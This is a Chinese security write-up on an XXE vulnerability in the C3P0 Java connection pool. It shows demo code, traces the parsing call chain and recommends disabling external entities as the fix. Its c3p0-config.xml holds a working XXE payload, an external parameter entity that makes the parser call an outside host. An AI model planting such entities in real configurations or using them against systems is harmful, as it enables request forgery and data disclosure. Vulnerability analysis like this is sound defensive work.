分享 | C3P0数据库连接池XXE漏洞
分享 | C3P0数据库连接池XXE漏洞
数据库连接池负责分配、管理和释放数据库连接,它允许应用程序重复使用一个现有的数据库连接,而不是再重新建立一个;释放空闲时间超过最大空闲时间的数据库连接来避免因为没有释放数据库连接而引起的数据库连接遗漏。这项技术能明显提高对数据库操作的性能。常见的数据库连接池有C3P0、DBCP(Apache的JAVA数据库连接池项目,Tomcat默认数据源就是DBCP)、Druid(阿里出品,淘宝和支付宝专用数据库连接池)等。
C3P0的官网为:
https://www.mchange.com/projects/c3p0
你可以在
https://www.mchange.com/projects/c3p0/apidocs/index.html 查看C3P0的API文档。
先贴上Demo主要代码
public class App {
public static void main(String[] args) {
//初始化User对象,然后调用userLogin()方法
UserDao userDao = new UserDaoImpl();
User user = new User();
user.setUsername("admin");
user.setPassword("123456");
boolean flag = userDao.userLogin(user);
System.out.println(flag);
}
}
UserDaoImpl 类:
public class UserDaoImpl implements UserDao {
JdbcTemplate jdbcTemplate = C3P0Util.getJdbcTemplate();
@Override
public boolean userLogin(User user) {
String sql = "select * from users where username = ? and password = ?";
SqlRowSet sqlRowSet = jdbcTemplate.queryForRowSet(sql, new Object[] {user.getUsername(),user.getPassword()});
if(sqlRowSet.next()) {
return true;
}else {
return false;
}
}
}
C3P0Util类
public class C3P0Util {
static ComboPooledDataSource dataSource = new ComboPooledDataSource();
public static JdbcTemplate getJdbcTemplate() {
JdbcTemplate jdbcTemplate = new JdbcTemplate();
jdbcTemplate.setDataSource(dataSource);
return jdbcTemplate;
}
}
c3p0-config.xml
<?xml version='1.0' encoding='utf-8' standalone='yes'?>
<!DOCTYPE root[
<!ENTITY % d SYSTEM "http://www.zhutougg.com/aaaaaaaaaaaaaaa">
%d;]>
<c3p0-config>
<default-config>
<property name="driverClass">com.mysql.jdbc.Driver</property>
<property name="jdbcUrl">jdbc:mysql://127.0.0.1:3306/note</property>
<property name="user">root</property>
<property name="password">root</property>
</default-config>
</c3p0-config>
我们在
ComboPooledDataSource dataSource = new ComboPooledDataSource()这一行代码打上断点,然后进行调试。
由入口ComboPooledDataSource类开始
调用父类AbstractPoolBackedDataSource
的AbstractPoolBackedDataSource()方法
再调用父类
PoolBackedDataSourceBase的PoolBackedDataSourceBase()方法
但是在执行该方法前,会先初始化dataSourceName变量
跟进
C3P0Config.initializeStringPropertyVar()方法,发现C3P0Config类有个静态代码块
调用了C3P0ConfigFinder接口的findConfig()方法,C3P0ConfigFinder接口只有一个实现类DefaultC3P0ConfigFinder
C3P0ConfigXmlUtils.extractXmlConfigFromDefaultResource()
再调用
C3P0ConfigXmlUtils.extractXmlConfigFromInputStream(InputStream)方法,即读取常量XML_CONFIG_RSRC_PATH = "/c3p0-config.xml" 进行初始化,导致了XXE漏洞
运行效果图如下:
在使用XML解析器时需要设置禁止使用外部实体。以DocumentBuilderFactory为例
DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance();
fact.setExpandEntityReferences(false);
DocumentBuilder db = fact.newDocumentBuilder();
参考链接:
https://github.com/zhutougg/c3p0/commit/2eb0ea97f745740b18dd45e4a909112d4685f87b